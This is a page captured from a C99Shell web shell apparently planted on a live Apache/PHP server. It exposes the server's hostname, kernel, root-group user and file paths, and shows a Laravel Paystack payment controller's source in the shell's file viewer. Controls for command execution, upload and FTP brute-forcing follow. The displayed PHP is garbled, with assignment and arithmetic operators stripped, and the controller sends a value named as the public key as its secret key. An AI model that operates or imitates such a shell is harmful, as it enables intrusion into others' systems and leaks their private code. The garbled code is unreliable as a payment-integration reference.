!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Payment/   drwxr-xr-x
Free 28.35 GB of 117.98 GB (24.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaystackController.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Payment;

use 
App\Http\Controllers\Controller;
use 
App\Http\Traits\PaymentTrait;
use 
Illuminate\Http\Request;

class 
PaystackController extends Controller
{
    use 
PaymentTrait;

    
/**
     * Redirect the User to Paystack Payment Page
     *
     * @return Url
     */
    
public function redirectToGateway(Request $request)
    {
        
$plan session('plan');
        
$converted_amount currencyConversion($plan->price);
        
$amount currencyConversion($plan->pricenull'ZAR');

        
session(['order_payment' => [
            
'payment_provider' => 'paystack',
            
'amount' => $amount,
            
'currency_symbol' => '₦',
            
'usd_amount' => $converted_amount,
        ]]);

        
$secret_key config('templatecookie.paystack_public_key');
        
$curl curl_init();
        
$callback_url route('paystack.success'); // url to go to after payment

        
curl_setopt_array($curl, [
            
CURLOPT_URL => 'https://api.paystack.co/transaction/initialize',
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_CUSTOMREQUEST => 'POST',
            
CURLOPT_POSTFIELDS => json_encode([
                
'amount' => $amount 100,
                
'email' => auth('user')->user()->email,
                
'callback_url' => $callback_url,
            ]),
            
CURLOPT_HTTPHEADER => [
                
'authorization: Bearer '.$secret_key//replace this with your own test key
                
'content-type: application/json',
                
'cache-control: no-cache',
            ],
        ]);

        
$response curl_exec($curl);
        
$err curl_error($curl);
        if (
$err) {
            return 
redirect()->back()->with('error'$err);
        }

        
$tranx json_decode($responsetrue);
        if (! 
$tranx['status']) {
            return 
redirect()->back()->with('error'$tranx['message']);
        }

        return 
redirect($tranx['data']['authorization_url']);
    }

    
/**
     * Obtain Paystack payment information
     *
     * @return void
     */
    
public function successPaystack(Request $request)
    {
        if (
$request['trxref'] === $request['reference']) {
            
session(['transaction_id' => $request['reference'] ?? null]);

            
$this->orderPlacing();
        }

        
session()->flash('error''Something went wrong.');

        return 
back();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--